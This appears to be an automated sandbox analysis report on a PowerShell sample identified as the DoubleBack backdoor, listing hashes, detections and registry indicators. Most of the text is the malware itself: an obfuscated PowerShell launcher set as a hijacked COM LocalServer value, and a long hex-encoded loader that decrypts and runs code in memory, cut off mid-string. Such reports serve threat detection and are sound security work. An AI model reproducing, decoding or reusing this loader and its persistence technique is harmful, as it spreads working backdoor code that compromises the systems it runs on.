Analysis
-
max time kernel
142s -
max time network
166s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
03-06-2022 13:29
Static task
static1
Behavioral task
behavioral1
Sample
1236.ps1
Resource
win7-20220414-en
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
1236.ps1
Resource
win10v2004-20220414-en
windows10-2004_x64
0 signatures
0 seconds
General
-
Target
1236.ps1
-
Size
177KB
-
MD5
0336381c76595f013baed58abebec38c
-
SHA1
46b35dc1fe0eca4dc45b35db87d5f6220456df17
-
SHA256
90f7051bb59f9ee7dbfee8a1fc9882dbba383fbe1e647eff0466830d2ce71ce2
-
SHA512
d6a3c890d9d6981b8b001b747b1b9b319a4d34e293eaf4d8a9f10b16b5a2af0d94c01fff3b532aa90200561957d2386f89c32eafed4613dda005bc2a6923c7f6
Score
10/10
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 3 IoCs
resource yara_rule behavioral2/memory/3840-136-0x000001EAEB400000-0x000001EAEB40A000-memory.dmp family_doubleback_x64 behavioral2/memory/3840-137-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral2/memory/3668-138-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 2 IoCs
flow pid Process 6 3840 powershell.exe 27 3668 msiexec.exe -
Modifies registry class 24 IoCs
description ioc Process Key created \REGISTRY\MACHINE\software\classes\CLSID\{100E1212-0F11-0411-1308-0F0B1303060D} powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{100E1212-0F11-0411-1308-0F0B1303060D}\VersionIndependentProgID powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{1101000F-0908-130C-0005-0B09000F0612} powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{1101000F-0908-130C-0005-0B09000F0612}\CLSID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{1101000F-0908-130C-0005-0B09000F0612}\ = "{1101000F-0908-130C-0005-0B09000F0612}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{1101000F-0908-130C-0005-0B09000F0612}\CLSID\ = "{100E1212-0F11-0411-1308-0F0B1303060D}" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{03000006-0F01-0800-0100-0F130B06130F} powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{03000006-0F01-0800-0100-0F130B06130F}\TreatAs powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{100E1212-0F11-0411-1308-0F0B1303060D}\ProgID\ = "{1101000F-0908-130C-0005-0B09000F0612}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{100E1212-0F11-0411-1308-0F0B1303060D}\LocalServer\ = "cmd /c start /min powershell -c \"& {(-join('2476676361693D2730363044273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B6C6D3A5C736F6674776172655C636C61737365735C434C5349445C7B31303045313231322D304631312D303431312D313330382D3046304231333033303630447D5C50726F67494427292E24766763616929297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{03000006-0F01-0800-0100-0F130B06130F}\TreatAs powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{03000006-0F01-0800-0100-0F130B06130F}\TreatAs\ = "{100E1212-0F11-0411-1308-0F0B1303060D}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{03000006-0F01-0800-0100-0F130B06130F}\ = "{1101000F-0908-130C-0005-0B09000F0612}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{100E1212-0F11-0411-1308-0F0B1303060D}\ProgID powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe Key created \REGISTRY\MACHINE\software\classes\{1101000F-0908-130C-0005-0B09000F0612}\CLSID powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{100E1212-0F11-0411-1308-0F0B1303060D}\ProgID\060D = 66756e6374696f6e20786b367b706172616d28246179392c24777a312920286c783720273234364237333335334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343741363333383344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343642373333353245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364237333335324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234374136333338324332343631373933393239323927297c2628247073686f6d655b3138322d3137385d2b247073686f6d655b3231302d3137365d2b277827297d66756e6374696f6e206b7a347b706172616d282478703629282d6a6f696e2824787036202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e207661307b706172616d28247866342920286b61342027323437373734333933443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423331333033303435333133323331333232443330343633313331324433303334333133313244333133333330333832443330343633303432333133333330333333303336333034343744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733313330333034353237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373331333033303435323733423234373237413333334432383234373737343339354233333332354432423238333333333242333032393239334232303234363936313337334432343737373433393542323437323741333332453245323832343732374133333242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234363936313337323933423234373737343339334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233313330333034353331333233313332324433303436333133313244333033343331333132443331333333303338324433303436333034323331333333303333333033363330343437443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033363330343432373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303336333034343237334232343732374133333344374232303234373036363337334433303245324533323335333533423330324532453332333533353743323537423230323436313731333733443238323436313731333732423234373036363337354232343546354432423234363936313337354232343546323532343639363133373245344336353645363737343638354432393235323832383238333133393242333233333337323932393239334232303234373036363337354232343546354432433234373036363337354232343631373133373544334432343730363633373542323436313731333735443243323437303636333735423234354635443230374432303342323437373734333937433235374232343636364433353344323832343636364433353242333132393235323833323331333332423334333332393342323032343645373333373344323832343645373333373242323437303636333735423234363636443335354432393235323832383238333433363242333533313239324233313335333932393239334232303234373036363337354232343636364433353544324332343730363633373542323436453733333735443344323437303636333735423234364537333337354432433234373036363337354232343636364433353544334232343546324436323738364637323234373036363337354232383234373036363337354232343636364433353544324232343730363633373542323436453733333735443239323532383332333533383244333232393544323037443230374432303342323436433735333032303344323032383236323032343732374133333743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343636364433353344333033423234363636443335323032443643373432303234364337353330324534433635364536373734363833423234363636443335324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436433735333032453533373536323733373437323639364536373238323436363644333532433332323932433238323832383331324433303239323932423331333532393239323037443239323927297c2628247073686f6d655b3135382d3135345d2b247073686f6d655b3133392d3130355d2b277827297d66756e6374696f6e207570357b706172616d28247062362c2467623729202862703120273234364436373339334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343639363433383344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343644363733393245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364436373339324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363936343338324332343730363233363239323927297c2628247073686f6d655b3138382d3138345d2b247073686f6d655b3232302d3138365d2b277827297d66756e6374696f6e207867397b706172616d28246174312c24627a3329202877723520273234363437333331334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343731364133363344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343634373333313245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363437333331324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373136413336324332343631373433313239323927297c2628247073686f6d655b3134322d3133385d2b247073686f6d655b3232322d3138385d2b277827297d66756e6374696f6e20736b327b706172616d28247870362920286b7a3420273234363436423333334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343631373333333344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343634364233333245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363436423333324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363137333333324332343738373033363239323927297c2628247073686f6d655b3131352d3131315d2b247073686f6d655b3231352d3138315d2b277827297d2066756e6374696f6e206b7a327b706172616d28247870362c246367342920286b7a34202732343730364133343344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343730364133343245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343738373033363239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343730364133343245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436333637333432433234373837303336323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373036413334324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3133302d3132365d2b247073686f6d655b3232352d3139315d2b277827297d2066756e6374696f6e206279357b706172616d28247870362c246367342c247675372920286b7a342027323436393641333133443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423331333033303435333133323331333232443330343633313331324433303334333133313244333133333330333832443330343633303432333133333330333333303336333034343744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733313330333034353237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373331333033303435323733423234363536443337334432383234363936413331354233333332354432423238333333333242333032393239334232303234373236323336334432343639364133313542323436353644333732453245323832343635364433373242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234373236323336323933423234363936413331334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233313330333034353331333233313332324433303436333133313244333033343331333132443331333333303338324433303436333034323331333333303333333033363330343437443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033363330343432373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303336333034343237334232343635364433373344374232303234373636383337334433303245324533323335333533423330324532453332333533353743323537423230323437413634333033443238323437413634333032423234373636383337354232343546354432423234373236323336354232343546323532343732363233363245344336353645363737343638354432393235323832383238333133393242333233333337323932393239334232303234373636383337354232343546354432433234373636383337354232343741363433303544334432343736363833373542323437413634333035443243323437363638333735423234354635443230374432303342323436393641333137433235374232343732373133333344323832343732373133333242333132393235323833323331333332423334333332393342323032343643363233333344323832343643363233333242323437363638333735423234373237313333354432393235323832383238333433363242333533313239324233313335333932393239334232303234373636383337354232343732373133333544324332343736363833373542323436433632333335443344323437363638333735423234364336323333354432433234373636383337354232343732373133333544334232343546324436323738364637323234373636383337354232383234373636383337354232343732373133333544324232343736363833373542323436433632333335443239323532383332333533383244333232393544323037443230374432303342323436363733333632303344323032383236323032343635364433373743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343732373133333344333033423234373237313333323032443643373432303234363637333336324534433635364536373734363833423234373237313333324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436363733333632453533373536323733373437323639364536373238323437323731333332433332323932433238323832383331324433303239323932423331333532393239323037443239323927297c2628247073686f6d655b3130372d3130335d2b247073686f6d655b3231362d3138325d2b277827297d66756e6374696f6e207565337b706172616d28246f753629202863783020273234374137373335334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343634373533363344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343741373733353245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234374137373335324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363437353336324332343646373533363239323927297c2628247073686f6d655b3134352d3134315d2b247073686f6d655b3233322d3139385d2b277827297d66756e6374696f6e207665317b706172616d28246470362c247063312c246664382920286167392027323436353636333133443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423331333033303435333133323331333232443330343633313331324433303334333133313244333133333330333832443330343633303432333133333330333333303336333034343744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733313330333034353237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373331333033303435323733423234363736333338334432383234363536363331354233333332354432423238333333333242333032393239334232303234373836323333334432343635363633313542323436373633333832453245323832343637363333383242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234373836323333323933423234363536363331334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233313330333034353331333233313332324433303436333133313244333033343331333132443331333333303338324433303436333034323331333333303333333033363330343437443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033363330343432373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303336333034343237334232343637363333383344374232303234363137413334334433303245324533323335333533423330324532453332333533353743323537423230323436313735333733443238323436313735333732423234363137413334354232343546354432423234373836323333354232343546323532343738363233333245344336353645363737343638354432393235323832383238333133393242333233333337323932393239334232303234363137413334354232343546354432433234363137413334354232343631373533373544334432343631374133343542323436313735333735443243323436313741333435423234354635443230374432303342323436353636333137433235374232343646364333343344323832343646364333343242333132393235323833323331333332423334333332393342323032343642364333363344323832343642364333363242323436313741333435423234364636433334354432393235323832383238333433363242333533313239324233313335333932393239334232303234363137413334354232343646364333343544324332343631374133343542323436423643333635443344323436313741333435423234364236433336354432433234363137413334354232343646364333343544334232343546324436323738364637323234363137413334354232383234363137413334354232343646364333343544324232343631374133343542323436423643333635443239323532383332333533383244333232393544323037443230374432303342323436423645333832303344323032383236323032343637363333383743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343646364333343344333033423234364636433334323032443643373432303234364236453338324534433635364536373734363833423234364636433334324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436423645333832453533373536323733373437323639364536373238323436463643333432433332323932433238323832383331324433303239323932423331333532393239323037443239323927297c2628247073686f6d655b3136302d3135365d2b247073686f6d655b3232332d3138395d2b277827297d66756e6374696f6e206975337b706172616d28247364372c246d68382920287a73392027323436443738333433443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423331333033303435333133323331333232443330343633313331324433303334333133313244333133333330333832443330343633303432333133333330333333303336333034343744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733313330333034353237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373331333033303435323733423234364536413335334432383234364437383334354233333332354432423238333333333242333032393239334232303234363936423331334432343644373833343542323436453641333532453245323832343645364133353242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234363936423331323933423234364437383334334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233313330333034353331333233313332324433303436333133313244333033343331333132443331333333303338324433303436333034323331333333303333333033363330343437443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033363330343432373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303336333034343237334232343645364133353344374232303234363136363336334433303245324533323335333533423330324532453332333533353743323537423230323437323643333033443238323437323643333032423234363136363336354232343546354432423234363936423331354232343546323532343639364233313245344336353645363737343638354432393235323832383238333133393242333233333337323932393239334232303234363136363336354232343546354432433234363136363336354232343732364333303544334432343631363633363542323437323643333035443243323436313636333635423234354635443230374432303342323436443738333437433235374232343638364233363344323832343638364233363242333132393235323833323331333332423334333332393342323032343637373833333344323832343637373833333242323436313636333635423234363836423336354432393235323832383238333433363242333533313239324233313335333932393239334232303234363136363336354232343638364233363544324332343631363633363542323436373738333335443344323436313636333635423234363737383333354432433234363136363336354232343638364233363544334232343546324436323738364637323234363136363336354232383234363136363336354232343638364233363544324232343631363633363542323436373738333335443239323532383332333533383244333232393544323037443230374432303342323437353644333232303344323032383236323032343645364133353743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343638364233363344333033423234363836423336323032443643373432303234373536443332324534433635364536373734363833423234363836423336324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323437353644333232453533373536323733373437323639364536373238323436383642333632433332323932433238323832383331324433303239323932423331333532393239323037443239323927297c2628247073686f6d655b3130342d3130305d2b247073686f6d655b3136392d3133355d2b277827297d24696a313d627935202778676c616f646e686b75697679716a27202768766469616c726f6b677a656e6a6279272027757a646f6369677077796e686d72716678273b66756e6374696f6e207473357b706172616d28246e64372c246a76362c24667437292028797035202732343633364233313344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343633364233313245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343645363433373239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343633364233313245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436413736333632433234364536343337323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363336423331324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3230302d3139365d2b247073686f6d655b3231312d3137375d2b277827297d66756e6374696f6e207675377b706172616d28246173382c24736c3829202861733920273234373436313330334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343734363833353344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343734363133303245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373436313330324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373436383335324332343631373333383239323927297c2628247073686f6d655b3138342d3138305d2b247073686f6d655b3232332d3138395d2b277827297d66756e6374696f6e206263397b706172616d2824696a312c246f64392c246776372c247073352920286b7a3420273234373636383337334435423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245344436313732373336383631364335443341334134373635373434343635364336353637363137343635343636463732343637353645363337343639364636453530364636393645373436353732323832383733364233323230323735363639373237343735363136433431364336433646363334353738323732393243323836423741333232303430323835423439364537343530373437323544324335423439364537343530373437323544324335423439364537343530373437323544324335423639364537343544324335423639364537343544323932383542343936453734373037343732354432393239323932453639364537363646364236353238324433313243333032433234364636343339324332383331333133343330333732423238333133363338333232443238333133303331333632443332333133353239323932393243323437303733333532393342354235333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453444363137323733363836313643354433413341343736353734343436353643363536373631373436353436364637323436373536453633373436393646364535303646363936453734363537323238323837333642333232303237353237343643344436463736363534443635364436463732373932373239324332383642374133323230343032383542343936453734353037343732354432433542363237393734363535423544354432433542353534393645373433333332354432393238354234393645373437303734373235443239323932393245363936453736364636423635323832343736363833373243323436393641333132433234364636343339323933423234373636383337334434453635373732443446363236413635363337343230353337393733373436353644324534393645373437303734373232303244343137323637373536443635364537343443363937333734323032343238323437363638333732453534364634393645373433363334323832393242323436373736333732393342354235333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453444363137